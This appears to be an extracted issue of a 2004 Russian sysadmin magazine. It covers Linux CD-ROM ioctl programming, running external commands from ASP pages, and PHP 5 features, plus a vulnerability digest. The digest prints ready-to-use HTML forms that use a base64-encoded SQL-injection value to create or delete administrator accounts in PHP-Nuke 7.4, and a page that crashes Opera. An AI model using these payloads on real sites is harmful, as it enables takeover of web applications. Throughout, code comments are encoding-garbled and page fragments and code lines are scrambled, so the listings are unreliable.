Заголовок блока содержит длину считанных из устройства данных. Координаты текущей позиции оптического элемента находятся в поле Absolute CD-ROM Address. Функция, выполняющая позиционирование оптического элемента устройства на заданный сектор: int seek(__u32 lba) { struct cdrom_generic_command cgc; struct request_sense sense; memset((void *)&cgc, 0, ↵ sizeof(struct cdrom_generic_command)); memset(&sense, 0, sizeof(sense));
82
buff_size = __swab16(buff_size); memcpy((void *)(cgc.cmd + 7), (void *)&buff_size, 2); if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) { perror("ioctl"); printf("Sense key - 0x%02x\n", sense.sense_key); printf("ASC - 0x%02x\n", sense.asc); printf("ASCQ - 0x%02x\n", sense.ascq); }
exit(-1);
/* Ðàçìåð ñ÷èòàííûõ äàííûõ */ memcpy(&sch_length, data_buff + 2, 2); sch_length = __swab16(sch_length); printf("Sub-channel data length - %d\n", sch_length);
программирование memset((void *)&cur_pos, 0, 12); memcpy((void *)&cur_pos, data_buff + 4, 12); printf("Data format code - %d\n", cur_pos.dfc); printf("ADR - %d\n", cur_pos.adr); printf("Track number - %d\n", cur_pos.tno); /* Òåêóùàÿ ïîçèöèÿ îïòè÷åñêîãî ýëåìåíòà */ cur_pos.a_addr = __swab32(cur_pos.a_addr); printf("Current position - %u\n", cur_pos.a_addr); /* Îñâîáîæäàåì ïàìÿòü è âûõîäèì */ free(data_buff); return; }
Полный листинг программы позиционирования оптического элемента и чтения текущей позиции находится в файле IOCTL/read_subch.c. Результаты работы программы показали, что разные приводы выполняют команду позиционирования с разной точностью. Из двух имеющихся в моём распоряжении приводов лучший результат показал TEAC – из 30 попыток позиционирования на разные сектора не было зафиксировано ни одного промаха. У MITSUMI картина прямо противоположная: из 30 попыток ни одного точного попадания в заданный сектор, постоянные перелеты. Результаты работы программы для разных типов привода находятся в каталоге IOCTL/RESULT, файлы TEAC и MITSUMI. Кроме спецификатора CDROM_SEND_PACKET, в файле <linux/cdrom.h> определён целый набор специализированных команд, выполняющих определенное действие и не требующих формирования командного пакета в том объеме, который был нами рассмотрен в предыдущих примерах. Это в значительной степени упрощает работу с устройством. Например, команда для открытия и закрытия лотка CD-ROM выглядит следующим образом: ioctl(fd, CDROMEJECT); // îòêðûòü ëîòîê CD-ROM ioctl(fd, CDROMCLOSETRAY); // çàêðûòü åãî
Рассмотрим пример функции, которая считывает TOC компакт-диска. #define CD_DEVICE "/dev/cdrom" int read_toc() { int fd, i; /* Ñòðóêòóðà struct cdrom_tochdr ñîäåðæèò çàãîëîâîê * ñîäåðæèìîãî TOC, ñòðóêòóðà struct cdrom_tocentry – * äåñêðèïòîð òðåêà. Îáå ñòðóêòóðû îïðåäåëåíû â ôàéëå * <linux/cdrom.h> */ struct cdrom_tochdr hdr; struct cdrom_tocentry toc; /* Îòêðûâàåì ôàéë óñòðîéñòâà */ fd = open(CD_DEVICE, O_RDONLY|O_NONBLOCK); /* Ñ÷èòûâàåì çàãîëîâîê TOC */ memset((void *)&hdr, 0, sizeof(struct cdrom_tochdr)); ioctl(fd, CDROMREADTOCHDR, &hdr); /* Ïîëå cdth_trk0 ñòðóêòóðû hdr ñîäåðæèò íîìåð ïåðâîãî * òðåêà, à ïîëå cdth_trk1 – íîìåð ïîñëåäíåãî òðåêà. * Îòîáðàçèì ýòè çíà÷åíèÿ */ printf("First: %d\t", hdr.cdth_trk0); printf("Last: %d\n", hdr.cdth_trk1); #define FIRST hdr.cdth_trk0 #define LAST hdr.cdth_trk1 /* Îïðåäåëèì ôîðìàò, â êîòîðîì ìû õîòèì ïîëó÷èòü êîîðäèíàòû
№9(22), сентябрь 2004
* òðåêà. Äëÿ ýòîãî èñïîëüçóåòñÿ ïîëå cdte_format * ñòðóêòóðû struct cdrom_tocentry */ toc.cdte_format = CDROM_LBA; /* Çàäàâàÿ â ïîëå cdte_track ñòðóêòóðû struct cdrom_tocentry * ïîñëåäîâàòåëüíî íîìåðà òðåêîâ îò ïåðâîãî äî ïîñëåäíåãî, * ìû îïðåäåëÿåì èõ ñòàðòîâûå êîîðäèíàòû â ôîðìàòå LBA */ for(i = FIRST; i <= LAST; i++) { toc.cdte_track = i; ioctl(fd, CDROMREADTOCENTRY, &toc);
}
printf("track: %d\t", i); // íîìåð òðåêà // LBA àäðåñ printf("lba: %d\n", toc.cdte_addr.lba); } return 0;
Полный листинг программы приведен в файле IOCTL2/ get_cd_toc.c. Рассмотрим программу, которая каждые 2 секунды отслеживает текущее положение оптического элемента, отображает координату текущего сектора (в форматах LBA и MSF) и номер трека. #define CD_DEVICE "/dev/cdrom" int main() { int fd, current_track; /* Êîîðäèíàòû òåêóùåãî ñåêòîðà íàõîäÿòñÿ â Q-ñóáêàíàëå. * Äëÿ ÷òåíèÿ äàííûõ Q-ñóáêàíàëà èñïîëüçóåòñÿ ñïåöèôèêàòîð * CDROMSUBCHNL, ñ÷èòàííûå äàííûå ïîìåùàþòñÿ â ñòðóêòóðó * struct cdrom_subchnl (ñì. <linux/cdrom.h>) */ struct cdrom_subchnl sc; /* Îòêðûâàåì ôàéë óñòðîéñòâà */ fd = open(CD_DEVICE, O_RDONLY|O_NONBLOCK); /* Ïðîâåðÿåì òèï êîìïàêò-äèñêà. Ýòî äîëæåí áûòü Audio-CD */ if(ioctl(fd, CDROM_DISC_STATUS) != CDS_AUDIO) { printf("I need Audio_CD!\n"); return 0; } /* Ñ÷èòûâàíèå êîîðäèíàò ïðîèçâîäèì â áåñêîíå÷íîì öèêëå */ for(;;) { /* Çàäà¸ì ôîðìàò àäðåñà LBA è ñ÷èòûâàåì êîîðäèíàòû ñåêòîðà */ sc.cdsc_format = CDROM_LBA; ioctl(fd, CDROMSUBCHNL, &sc); current_track = sc.cdsc_trk; /* Îòîáðàæàåì äàííûå î òåêóùåì òðåêå è êîîðäèíàòå * â ôîðìàòå LBA */ printf("Track: %d\t", current_track); printf("LBA: %d\t", sc.cdsc_absaddr.lba); /* Òî æå ñàìîå - äëÿ ôîðìàòà MSF */ sc.cdsc_format = CDROM_MSF; ioctl(fd, CDROMSUBCHNL, &sc); printf("MSF: %d %d %d\n", ↵ sc.cdsc_absaddr.msf.minute, sc.cdsc_absaddr.msf.second, sc.cdsc_absaddr.msf.frame);
↵ ↵
/* Æäåì äâå ñåêóíäû è ïîâòîðÿåì. Âûõîä ïî Ctrl-C */ sleep(2); } return 0; }
Полный текст программы находится в файле IOCTL2/ read_sch.c. Теперь делаем вот что – в одной консоли запускаем проигрыватель аудиокомпакт-дисков (workbone, например), а в другой – программу read_sch. Через каждые 10-15 се-
83
программирование кунд воспроизведения переходим к следующему треку на компакте и смотрим на результаты работы read_sch. Получается примерно следующая картина: Track: 1 Track: 1 Track: 1 Track: 1 Track: 1 Track: 1 Track: 2 Track: 2 Track: 2 Track: 2 Track: 2 Track: 3 Track: 3 Track: 3 Track: 3 Track: 3
LBA: 0 LBA: 150 LBA: 301 LBA: 451 LBA: 602 LBA: 753 LBA: 23962 LBA: 24112 LBA: 24263 LBA: 24414 LBA: 24565 LBA: 40191 LBA: 40342 LBA: 40492 LBA: 40643 LBA: 40794
MSF: 0 2 0 MSF: 0 4 0 MSF: 0 6 1 MSF: 0 8 1 MSF: 0 10 2 MSF: 0 12 3 MSF: 5 21 37 MSF: 5 23 37 MSF: 5 25 38 MSF: 5 27 39 MSF: 5 29 40 MSF: 8 57 66 MSF: 8 59 67 MSF: 9 1 67 MSF: 9 3 68 MSF: 9 5 69
и т. д. Результаты работы программы красноречиво свидетельствуют о постоянном изменении текущей координаты. И наконец, последний пример, который мы рассмотрим в данной статье, – это еще одна функция, считывающая треки с Audio-CD: int read_cdda_track() { int fd, out, n; __u32 i, start_lba, end_lba; __u16 buff[CD_FRAMESIZE_RAW/2]; struct cdrom_tochdr hdr; struct cdrom_tocentry toc; /* Ñòðóêòóðà struct cdrom_read_audio èñïîëüçóåòñÿ âìåñòå * ñ IOCTL-êîìàíäîé CDROMREADAUDIO (<linux/cdrom.h>) */ struct cdrom_read_audio cda; /* Îòêðûâàåì óñòðîéñòâî */ fd = open(CD_DEVICE, O_RDONLY|O_NONBLOCK); /* Îïðåäåëÿåì êîëè÷åñòâî òðåêîâ íà Audio-CD */ memset((void *)&hdr, 0, sizeof(struct cdrom_tochdr)); ioctl(fd, CDROMREADTOCHDR, &hdr); printf("First: %d\t", hdr.cdth_trk0); printf("Last: %d\n", hdr.cdth_trk1); #define FIRST hdr.cdth_trk0 #define LAST hdr.cdth_trk1 /* Ââîäèì íîìåð òðåêà, êîòîðûé ìû ñîáèðàåìñÿ ñ÷èòàòü, * è ïðîâåðÿåì ïðàâèëüíîñòü ââåäåííîãî çíà÷åíèÿ */ printf("Enter track number: "); scanf("%d", &n); if((n < 1) || (n > LAST)) { printf("Wrong track number\n"); return -1; } /* Çàäàåì ôîðìàò àäðåñà */ toc.cdte_format = CDROM_LBA; /* Îïðåäåëÿåì ñòàðòîâûé àäðåñ òðåêà (â LBA ôîðìàòå) */ toc.cdte_track = n; ioctl(fd, CDROMREADTOCENTRY, &toc); start_lba = toc.cdte_addr.lba; /* Êîíå÷íûé àäðåñ òðåêà. Åñëè âûáðàí ïîñëåäíèé òðåê íà äèñêå, * òî íåîáõîäèìî îïðåäåëèòü íà÷àëî lead-out îáëàñòè. * Äëÿ ýòîãî â ïîëå íîìåðà òðåêà óêàçûâàåì 0xAA */ if(n == LAST) toc.cdte_track = CDROM_LEADOUT; else toc.cdte_track = n + 1; ioctl(fd, CDROMREADTOCENTRY, &toc); end_lba = toc.cdte_addr.lba; /* Ñ÷èòàííûé òðåê ñîõðàíèì â ôàéëå track.cdr */ out = open("track.cdr",O_CREAT|O_RDWR,0600); /* Çàïîëíèì ïîëÿ ñòðóêòóðû struct cdrom_read_audio */
84
cda.addr_format = CDROM_LBA; // ôîðìàò àäðåñà cda.nframes = 1; // ñêîëüêî ñåêòîðîâ ñ÷èòûâàåì çà îäíî // îáðàùåíèå ê äèñêó cda.buf = (__u8 *)&buff[0]; // àäðåñ áóôåðà äëÿ // ñ÷èòàííûõ äàííûõ /* Öèêë ÷òåíèÿ ñåêòîðîâ */ for(i = start_lba; i < end_lba; i++) { memset(buff, 0, sizeof(buff)); cda.addr.lba = i; // àäðåñ ñ÷èòûâàåìîãî ñåêòîðà printf("lba: %u\n", i); /* Ñ÷èòûâàåì ñåêòîð c àóäèîäàííûìè è ìåíÿåì ìåñòàìè * ñîñåäíèå áàéòû */ ioctl(fd, CDROMREADAUDIO, &cda); for(n = 0; n < CD_FRAMESIZE_RAW/2; n++) buff[n] = __swab16(buff[n]); /* Ñîõðàíÿåì ñ÷èòàííûé ñåêòîð â ôàéë */ write(out, (__u8 *)buff, CD_FRAMESIZE_RAW); }
}
close(fd); close(out); return 0;
Считанный трек сначала преобразуем в WAV-формат, а затем кодируем в Ogg Vorbis: # sox track.cdr track.wav # oggenc track.wav -q 6 track.ogg
Полный листинг программы чтения аудиотреков находится в файле IOCTL2/read_cdda_track.c.
Информационные ресурсы по данной теме: 1. Кулаков В. Программирование дисковых подсистем. – СПб.: Питер, 2002. – 768 с.:ил. 2. Гук М. Аппаратные средства IBM PC. Энциклопедия, 2-е изд. – СПб.: Питер, 2003. – 923 с.:ил. 3. Гук М. Дисковая подсистема ПК. – СПб.: Питер, 2001. 4. Касперски К. Статья «Лазерный диск с нулевым треком как средство защиты от копирования», http:// kpnc.opennet.ru/_ZeroTrack.zip. 5. Касперски К. Статья «Искажение TOC как средство борьбы с несанкционированным копированием диска», – Журнал «Системный администратор», №09, 2003 г. 6. Касперски К. Статья «Способы взаимодействия с диском на секторном уровне», http://kpnc.opennet.ru/ATAPI.zip. 7. Introduction to CD and CD-ROM (with information on CD and CD-ROM formats, complete with diagrams and tables), http://www.disctronics.co.uk/downloads/tech_docs/ cdintroduction.pdf 8. Descriptions of mastering and replication of CD and DVD discs with diagrams, http://www.disctronics.co.uk/ downloads/tech_docs/replication.pdf 9. Comprising a comprehensive list of terms and words used in connection with CDs and DVDs and the applications that they support, http://www.disctronics.co.uk/downloads/ tech_docs/glossary.pdf 10. CD-Recordable FAQ, http://www.cdrfaq.org. 11. www.google.com 12. AT Attachment with Packet Interface Extension – (ATA/ ATAPI-4), www.t13.org 13. Information specification INF-8020i Rev 2.6. ATA Packet Interface for CD-ROMs SFF-8020i, http://www.stanford.edu/ ~csapuntz/specs/INF-8020.PDF
bugtraq Удаленное повышение привилегий в PHP-Nuke Программа: PHP-Nuke 7.4. Опасность: Высокая. Описание: Уязвимость обнаружена в PHP-Nuke в admin.phpсценарии. Удаленный пользователь может создать учетную запись с административными привилегиями. Удаленный пользователь может представить специально обработанный POST-запрос к admin.php, чтобы добавить учетную запись пользователя с административными привилегиями: <form name="mantra" method="POST" ↵ action="http://www.sitewithphpnuke.com/admin.php"> <p>USERNAME: <input type="text" name="add_aid"> <br> NOME: <input type="text" name="add_name"> <br> PASSWORD: <input type="text" name="add_pwd"> <br> E-MAIL: <input type="text" name="add_email"> <br> <input type="hidden" name="admin" ↵ value="eCcgVU5JT04gU0VMRUNUIDEvKjox"> <br> <input type="hidden" name="add_radminsuper" value="1"> <br> <input type="hidden" name="op" value="AddAuthor"> </p> <p> <input type="submit" name="Submit" value="Create Admin"> <br> </p> </form>
URL производителя: http://www.phpnuke.org. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.
Удаленный отказ в обслуживании в Opera Программа: Opera 7.23 build 3227. Опасность: Низкая. Описание: Уязвимость обнаружена в браузере Opera в обработке embed-тэга. Удаленный пользователь может создать HTML, который, когда будет загружен целевым пользователем, аварийно завершит работу браузера целевого пользователя. Пример/Эксплоит: <html> <head> <script language=javascript> function dSend() { document.crash.text; } </script> </head> <body onLoad="dSend()"> <embed src="" type="CCCC" name="crash" > </embed> </body> </html>
URL производителя: http://www.opera.com. Решение: Опера 7.21 неуязвима.
№9(22), сентябрь 2004
Несколько уязвимостей в PHP-Nuke Программа: PHP-Nuke 7.4. Опасность: Высокая. Описание: Две уязвимости обнаружены в PHP-Nuke в обработке некоторых административных команд. Удаленный пользователь может просматривать информацию административной учетной записи и удалять административную учетную запись. Удаленный пользователь может представить специально обработанный POST-запрос, чтобы просматривать aidзначение административной учетной записи. Пример: <form name="form1" method="POST" ↵ action="http://www.sitewithphpnuke.com/admin.php"> <input type="hidden" name="admin" ↵ value="eCcgVU5JT04gU0VMRUNUIDEvKjox"> <br> <input type="hidden" name="add_radminsuper" value="1"> <br> <input type="hidden" name="op" value="mod_authors"> <input type="submit" name="Submit" value="Display"> <br> </p> </form>
Также удаленный пользователь может представить специально обработанный POST-запрос, чтобы удалить административную учетную запись. Пример: <form name="form1" method="POST" ↵ action="http://www.sitewithphpnuke.com/admin.php"> USERNAME: <input type="text" name="del_aid"> <input type="hidden" name="admin" ↵ value="eCcgVU5JT04gU0VMRUNUIDEvKjox"> <br> <input type="hidden" name="add_radminsuper" value="1"> <br> <input type="hidden" name="op" value="deladminconf"> <input type="submit" name="Submit" value="Delete Admin"> <br> </p> </form>
URL производителя: http://www.phpnuke.org. Решение: Добавьте этот код в admin.php: if ( !empty($HTTP_GET_VARS['op']) ) { $op = $HTTP_GET_VARS['op']; } if ( !empty($HTTP_POST_VARS['op']) ) { $op = $HTTP_POST_VARS['op']; }
Удаленное или локальное выполнение произвольного кода в Winzip Программа: WinZip 9.0 и более ранние версии. Опасность: Высокая. Описание: Несколько уязвимостей обнаружено в Winzip. Удаленный или локальный пользователь может выполнить произвольный код. Сообщается о нескольких обнаруженных уязвимостях, включая переполнения буфера. Дополнительные подробности не раскрываются. URL производителя: http://www.winzip.com/wz90sr1.htm. Решение: Установите обновленную версию данной программы (9.0 SR1): http://www.winzip.com/upgrade.htm.
Cоставил Александр Антипов
85
программирование
ОСОБЕННОСТИ ЗАПУСКА ВНЕШНИХ КОМАНД ИЗ ASP-СТРАНИЦ
ИВАН КОРОБКО Создавая приложения на ASP, предназначенные для облегчения управления различными сервисами сети, программисты часто сталкиваются с необходимостью запускать из них приложения (BAT, VBS, EXE и т. д.). Читая документацию компании Microsoft, понимаешь, что решить задачку не представляет никакой сложности. Но существует ряд тонкостей в запуске приложений из ASP-страниц, которые почему-то не описаны в документации. На практике сталкиваешься с тем, что сценарий должен работать, поскольку все написано правильно и встроенный обработчик ошибок сообщает об отсутствии таковых, однако требуемый результат не достигается. Эта статья посвящена запуску различных типов приложений из ASP-страниц.
Active Server Pages ASP-страницы – это сценарии, программный код которых выполняется при их запросе. Результатом действия скрипта является HTML/DHTML-страница, которая отображается у клиента. Структура документа на ASP очень проста. В первой строке всегда указывается язык, с помощью которого созданы скриптовые вставки ASP-страница. Таким языком программирования может быть один из двух, поддерживаемый всеми браузерами: Jscript или VBScript. Во
86
всех примерах в данной статье будет использоваться VBScript, поскольку он наиболее симпатичен автору. Каждый из этих примеров легко переписать на Jscript. Итак, первая строка любого из сценариев на ASP выглядит следующим образом: <%Script Language=”VBScript”%>
или <%Script Language=”JScript”%>
Программный код, находящийся между <% и %>, выполняется на сервере и подчинен синтаксису одного из выбранных языков. Весь остальной код представляет собой HTML-страницу в явном виде. Листинг типовой ASP-страницы выглядит следующим образом: Ïðèìåð 1: <%@ Language=VBScript CODEPAGE=1251%> <HTML> <TITLE> Çàãîëîâîê ñòðàíèöû </TITLE> <HEAD>
программирование <LINK href="../style.css" type=text/css rel=stylesheet> <meta http-equiv="Content-Type" content="text/html" ↵ charset=windows-1251> </HEAD> <BODY> <FONT FACE="Arial"> … <% … Response.write variable ‘ îòîáðàæåíèå íà ýêðàíå ↵ ñîäåðæèìîãî ïåðåìåííîé %>
После обработки интерпретатором IIS программного кода и преобразования результатов его работы в HTML/DHTML необходимо дать команду на отображение страницы в браузере клиента. Такой командой является Response.Write q, где q – имя переменной, содержащей фрагмент HTML-кода.
Методы запуска приложений из VBS Рассмотрим вызов приложений непосредственно из файла VBS, для этого можно использовать один из методов – Run или Exec. Необходимо отметить, что в VBScript не существует функции, с помощью которой можно запустить приложения, однако она существует в WSH, который поддерживает VBSscipt и JScript . Создание экземпляра объекта WSH осуществляется с помощью команды Create Object(“WScript.Shell”). Ïðèìåð 2: Set Wshell = CreateObject("Wscript.shell") Set Proc = Wshell.Exec("application.exe") ' Æäàòü, ïîêà íå çàâåðøèòñÿ âûïîëíåíèå ïðîãðàììû Do While Proc.Status = 0 WScript.Sleep 100 Loop Set Wshell = Nothing MsgBox Proc.StdOut.ReadAll Ïðèìåð 3: Set Wshell = CreateObject("Wscript.shell") Set Proc = Wshell.Run("application.exe")
обладать соответствующими правами. IIS представляет собой трехзвенную систему.
Ðèñóíîê 1
Пусть IIS имеет настройки по умолчанию. В этом случае при загрузке любой ASP-страницы она стартует от имени встроенного пользователя (см. рис. 2). Если страница работает с некими базами данных, например с Active Directory, то пользователь, запускающий данную страницу должен обладать правами администратора. Существует несколько способов выполнить эти условия. Первый – вместо учетной записи встроенного пользователя прописать имя учетной записи администратора сети. При таком раскладе любой пользователь в сети сможет посетить данную страницу, т.к. она будет запускаться от имени системного администратора. Этот способ предоставляет всем доступ к данной странице, что, согласитесь, неправильно. Это еще полбеды. Главное, что таким образом резко снижается безопасность всей системы. В случае ошибок на странице злоумышленник запросто запустит вредоносный код с правами администратора. Поэтому предлагается другой способ решения проблемы, с помощью которого можно ограничить доступ к ресурсам. В настройках IIS необходимо сбросить флажок (см. рис. 2) с Enable anonymous access и установить его напротив Basic Authentication. Также следует изменить права на файловую структуру используемого сайта, исключив оттуда группу Everyone и добавив соответствующую группу безопасности. При такой настройке IIS только системные администраторы получат доступ к данной странице. При попытке любого пользователя, не являющегося администратором сети, получить доступ к странице IIS будут запрошены имя и пароль пользователя.
Set Wshell = Nothing MsgBox Proc
По своей сути оба варианта равнозначны, однако отображаемая в CMD-консоли информация (касается commandline-утилит) может быть прочитана только в первом из приведенных примеров. Во втором примере можно считать только статус завершения дочернего процесса (код ошибки): 0 – команда успешно выполнена, 1 – нет. Для успешного запуска различных приложений из ASPстраницы необходимо учитывать некоторые особенности, о которых речь пойдет ниже. Все приложения можно условно разделить на несколько групп: ! приложения с графическим интерфейсом; ! приложения, работающие из командной строки (command lines utilities); ! скрипты на VBS/Jscript (хотя скрипты на VBS относятся к приложениям, запускаемым из командной строки, выделим их в отдельную группу). Первая особенность: поскольку код ASP-страниц исполняется на сервере, и только результат в виде HTML-страницы пересылается на клиентскую машину, то для успешного запуска приложения на сервере, пользователь должен
№9(22), сентябрь 2004
Ðèñóíîê 2
Если необходимо расширить круг лиц, которым должен
87
программирование быть доступен данный сайт, и при этом пользователи не являются системными администраторами, то можно воспользоваться вариантом, являющимся синтезом двух ранее изложенных решений: ограничить доступ на сайт с помощью Basic Authentication и правами на файловую структуру, запускать скрипт, инкапсулированный в страницу с правами администратора. Только что мы рассмотрели механизм взаимодействия первого и второго звена в трехзвенной системе. Первым звеном является рабочая станция пользователя, вторым – сервер, на котором установлен IIS. Взаимосвязь этих звеньев осуществляется с помощью одного пользователя. Между вторым и третьим звеном (сервер IIS, процессы, порождаемые из ASP) взаимодействие осуществляется с помощью другого пользователя. Рассмотрим взаимодействие второго и третьего звена подробнее. При запуске из кода ASP-страницы какого-либо приложения осуществляется взаимодействие между вторым и третьим звеном. IIS порождает процесс, запускаемый от имени другого встроенного пользователя. Поскольку ASPстраница выполняется на сервере, то для запуска приложения необходимы соответствующие права. Управление этой учетной записью пользователя осуществляется в Application Tools (см. рис. 3).
полный путь к запускаемому приложению. Путь может быть как локальным, например, C:\Folder1\..., так и сетевым: \\Server\C$\Folder1...
Запуск приложения из командной строки (command line utility) В качестве приложения может быть программа, запускаемая из командной строки (command-line utility), приложение для Windows (файл с расширением EXE). Рассмотрим особенности запуска command-line-приложений из ASP-страниц. Синтаксис команды запуска утилиты из командной строки следующий: %comspec% /c cmd_util.exe
Префикс %comspec% /c является обязательным. Переменная окружения %comspec% указывает на C:\Windows\ System32\cmd.exe. Поскольку при запуске внешней команды порождается процесс CMD, то после отработки команды его необходимо закрыть. Эта процедура осуществляется с помощью ключа /c. Если процессы не закрывать, то в конце концов возникнет недостаток памяти на сервере, что приведет к существенному снижению скорости его работы, а впоследствии к отказу функционирования различных служб компонентов. Путь к утилите также необходимо писать полностью. Допускается использование сетевых имен в формате UNC (\\Server\Share\...).
Запуск скриптов Запуск скриптов имеет ряд особенностей. Рассмотрим два вида скриптов, которые, на взгляд автора, используются наиболее часто в данной ситуации: VBS-скрипты и BATфайлы.
Запуск VBS-файлов из скрипта
Ðèñóíîê 3
Такова первая особенность, касающаяся абсолютно всех приложений. Существует вторая, также характерная для всех приложений. С помощью ASP-страниц можно вызывать приложения, находящиеся на удаленном компьютере. Некоторые приложения не могут быть запущены на другой платформе. Например, некоторые утилиты, успешно запускающиеся в Windows 2000, выдают сообщение об ошибке на Windows 2003, аналогичная ситуация может возникнуть с приложениями Windows 98, запускаемыми на Windows 2k.
Бывают ситуации, когда необходимо из ASP-страницы запустить внешний VBS-скрипт. Как правило, он запускается с параметрами. Рассмотрим кусок листинга VBS-скрипта, касающийся чтения его внешних параметров. Чтение параметров основано на использовании свойства Arguments объекта WScript WSH. Приведем пример, который определяет, с какими параметрами был запущен скрипт: Ïðèìåð 4: Set objArgs=Wscript.Arguments t=”Êîëè÷åñòâî çàäàííûõ ïàðàìåòðîâ - ” ↵ & Wscript.Arguments.Count & chr(13) & “Ïàðàìåòðû:” & chr(13) For Each arg in objArgs t = t & arg & chr(13) Next MsgBox t
Запуск приложения c графическим интерфейсом Запуск приложения осуществляется с использованием одного из вышеописанных методов (см. примеры 2, 3). Единственной особенностью является необходимость указывать
88
Ðèñóíîê 4
Чтение значений элементов массива, содержащего ар-
программирование гументы скрипта, можно осуществлять другим способом. Оба варианта дают один и тот же результат. Поэтому его выбор зависит от пристрастий программиста. Отметим лишь, что первый вариант компактнее. Однако, если необходимо использовать нумерацию объектов, то второй вариант окажется удачнее, поскольку в первом придется вводить дополнительно счетчик: Ïðèìåð 5: Set objArgs=Wscript.Arguments Coun = Wscript.Arguments.Count t="Êîëè÷åñòâî çàäàííûõ ïàðàìåòðîâ - " & Coun & chr(13) ↵ & "Ïàðàìåòðû:" & chr(13) For i=0 to Coun-1 t = t & i+1 & ": "& objArgs(i) & chr(13) Next MsgBox t
Иногда необходимо получить значение определенного аргумента. Это проиллюстрировано в примере 6. Необходимо помнить, что нумерация элементов начинается с 0: Ïðèìåð 6: Set objArgs=Wscript.Arguments Msgbox objArgs(2) ' ×òåíèå òðåòüåãî àðãóìåíòà.
Приведенный пример не является образцом программирования, поскольку в примере отсутствует обработчик ошибок. Предугадывание возможных ошибок, имитация простейшего интеллекта у программы является хорошим тоном в программировании. Поэтому создадим для этого примера обработчик ошибок. В данной ситуации ошибка возникает
№9(22), сентябрь 2004
в том случае, если осуществляется чтение несуществующих параметров. Ïðèìåð 7: Set objArgs=Wscript.Arguments Coun = Wscript.Arguments.Count q = InputBox (“Ââåäèòå íîìåð ñ÷èòûâàåìîãî àðãóìåíòà”, ↵ “×òåíèå íîìåðà àðãóìåíòà”)-1 t = ”” if q> Coun then t= objArgs(q) else t=”ERROR” End if Msgbox t
Запуск BAT-файлов При использовании BAT-файлов необходимо помнить, что отдельный процесс порождается не только в момент запуска такого типа файлов, но и при выполнении каждой из команд, находящихся внутри него. По той же самой причине не стоит выполнять взаимосвязанные команды, поскольку может сложиться ситуация, когда первая еще не успела отработать, а вторая, содержащаяся в следующей строке и использующая результат работы первой команды, уже начала выполняться. В результате произойдет ошибка. Чтобы избежать этого, вызывайте команды из кода ASP-страницы и осуществляйте проверку результата отработанной команды. Подводя итог, кратко отметим, что при работе с внешними файлами из ASP-страниц необходимо учитывать особенности работы IIS. Надеюсь, что прочитав эту статью, у программистов не будет проблем с запуском приложений из ASP-страниц.
89
программирование
PHP 5 – ПРИШЕСТВИЕ НЕИЗБЕЖНО Появление PHP5 – эволюционное, а не революционное событие. Расмус Лердорф, автор и первый разработчик PHP
КИРИЛЛ СУХОВ 90
программирование Итак, свершилось. 13 июля 2004 г. вышла пятая версия самого популярного на сегодняшний день языка веб-разработки – PHP. Его создатель, Расмус Лердорф, подчёркивает, что изменения, привнесённые в язык, не революционны, а скорее эволюционны, но беглое знакомство с новыми возможностями PHP заставляет усомниться в словах мэтра. За недолгое время своего существования PHP из набора скриптов для придания интерактивности домашней странички автора сумел вырасти в мощное средство разработки веб-приложений и теперь – новый шаг вперед. Насколько этот шаг важен и какие последствия перехода на новую версию грозят программисту и системному администратору, можно оценить, ознакомившись с основными нововведениями PHP 5 и возможными проблемами, связанными с его использованием.
Объектная модель Наиболее радикальные изменения языка связаны с введением новой объектной модели – Zend Engine II. Формально элементы ООП появились ещё до выхода четвёртой версии PHP и были значительно расширены в пятой. Объектно-ориентированная модель позволяла работать с классами и объектами, объединяя методы и свойства, поддерживала наследование, но имела весьма серьёзные ограничения. Прежде всего это необходимость при каждом использовании объекта обращаться к нему по ссылке, в противном случае получалась его копия, и при любом изменении объекта или его свойств происходило копирование в новый объект. Поясню на примере: <?php class foo { var $name; function getName() { return $this->name; } function setName($name) { $this->name = $name; } function foo($name) { $this->setName($name); } } function changeName($person, $name) { $foo->setName($name); } $person = new foo("Bill"); changeName($person, "John"); print $person->getName(); ?>
В РНР 4 этот код выведет «Bill». Дело в том, что мы передаем объект $person в функцию changeName() по значению, а не по ссылке, таким образом, объект $person будет скопирован, и changeName() будет работать уже с копией объекта $person. В PHP 5 объектная модель была полностью переписана, и работа теперь осуществляется с указателями на объект. Нет необходимости явно передавать объекты или присваивать их по ссылке, всё происходит автоматически. Впрочем, явная передача и присваивание по ссылке также поддерживается, более того, введён новый метод _clone(), который можно использовать, в случае если возникает необходимость клонировать объект.
№9(22), сентябрь 2004
<? class foo { function __clone() { print "Cloned!"; } } $obj =new foo(); clone $obj; ?>
Разумеется, на этом нововведения не закончились. Появилась полноценная реализация конструкторов и деструкторов классов (__constuct, __destruct), стали доступны модификаторы Private, Public, Protected; (В PHP 4 все методы и переменные внутри объекта были открытыми), введены абстрактные классы (то есть классы, используемые только как базовые). Появились специальные методы (__call, __get, __set), предназначенные для «отлова» всех нереализованных в данном классе методов, попыток изменения или доступа к неопределённым (или недоступным) переменным. Открылась возможность передать методу тип передаваемого аргумента. <?php function expectsMyClass(MyClass $obj) { } ?>
Хотя множественное наследование в стиле С++ в PHP 5 не поддерживается, классы могут наследовать множественные контакты через ещё одно нововведение – интерфейсы. Естественно, программистам, знакомым с Java, объяснять, что это такое, не надо, для остальных приведу пример: <?php interface Display { function display(); } class Circle implements Display { function display() { print "Displaying circle "; } } ?>
(Класс может наследовать только один класс, но при этом иметь столько интерфейсов, сколько потребуется) Стал ли после всего вышеописанного PHP объектноориентированным языком? На мой взгляд, сама постановка вопроса неправомерна. Как сказал по этому поводу Стерлинг Хьюз (один из разработчиков PHP, автор книги PHP Developer`s Cookbook): «Тяжело определить «настоящую объектность», так как у каждого есть своё мнение на этот счёт».
Обработка исключений Мне кажется, это одно из самых полезных новшеств PHP 5. Механизм обработки исключений реализован за счёт конструкций try/catch/throw и позволяет значительно упростить код, разместив все обработчики ошибок в одном месте. Кроме того, предусмотрена возможность определять собственные исключения. Делается это посредством расширения класса Exception, определив его конструктор и метод getMessage:
91
программирование <?php class Exception { function __construct(string $message=NULL, int $code=0) { if (func_num_args()) { $this->message = $message; } $this->code = $code; $this->file = __FILE__; // of throw clause $this->line = __LINE__; // of throw clause $this->trace = debug_backtrace(); $this->string = StringFormat($this); } protected $message = 'Unknown exception'; // exception message protected $code = 0; // user defined exception code protected $file; // source filename of exception protected $line; // source line of exception private $trace; // backtrace of exception private $string; // internal only!! final function getMessage() { return $this->message; } final function getCode() { return $this->code; } final function getFile() { return $this->file; } ?>
